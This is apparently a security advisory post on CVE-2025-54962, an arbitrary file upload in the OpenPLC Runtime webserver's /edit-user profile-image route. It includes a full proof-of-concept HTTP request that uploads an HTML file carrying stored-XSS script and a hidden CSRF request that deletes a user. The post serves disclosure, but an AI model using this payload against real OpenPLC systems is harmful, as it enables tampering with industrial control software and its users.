Skip to main content

CVE-2025-54962

·281 words·2 mins
Eyodav
Author
Eyodav

CVE-2025-54962: Insecure File Upload in OpenPLC Runtime Webserver
#

Vulnerability Overview
#

Field Value
CVE ID CVE-2025-54962
Affects OpenPLC Runtime ≤ 2024-12-31
Severity Critical
Type Arbitrary File Upload, Stored XSS, CSRF
Component /edit-user endpoint (Profile image upload)

Summary
#

A vulnerability in the OpenPLC Runtime webserver allows authenticated users to upload arbitrary files (e.g., .html, .svg) as profile pictures. These files are stored in the /static/ directory and are accessible without authentication, enabling stored XSS or malicious hosting scenarios.

Affected Component
#

  • Route: /edit-user
  • Affected: File upload functionality for profile images

Impact
#

  • Arbitrary file upload with insufficient MIME and extension validation
  • Stored XSS
  • Malicious content hosting
  • Unauthenticated access to uploaded files
  • CSRF

Attack Vector
#

  1. Authenticated user uploads a .html or .svg file as a profile picture
  2. File is stored in /static/ and given a predictable ID (e.g., http://localhost:8080/static/336029.html)
  3. Any user (even unauthenticated) can access the uploaded file directly
  4. If the file contains JavaScript or other malicious code, it will execute in the victim’s browser

Proof of Concept
#

Exploit Request Example (Burp Suite Repeater)
#

POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
Cookie: session=[cookie]
Connection: close

------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"

10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"

OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"

openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"

[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"

mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
  <title>PoC - Unfiltered Upload</title>
</head>
<body>
  <h1>Proof of Concept</h1>
  <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>
  
  <h2>XSS Demo (auto-executed)</h2>
  <script>alert('PoC xss')</script>
  
  <h2>CSRF</h2>
  <img src="http://127.0.0.1:8080/delete-user?user_id=[User ID]" style="display:none" />
  
  <h2>document.domain</h2>
  <p>Opened from: <script>document.write(document.domain)</script></p>
  
  <h2>Manual link to malicious HTML</h2>
  <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>

------WebKitFormBoundaryW3GoLRyFS7dyLS2B--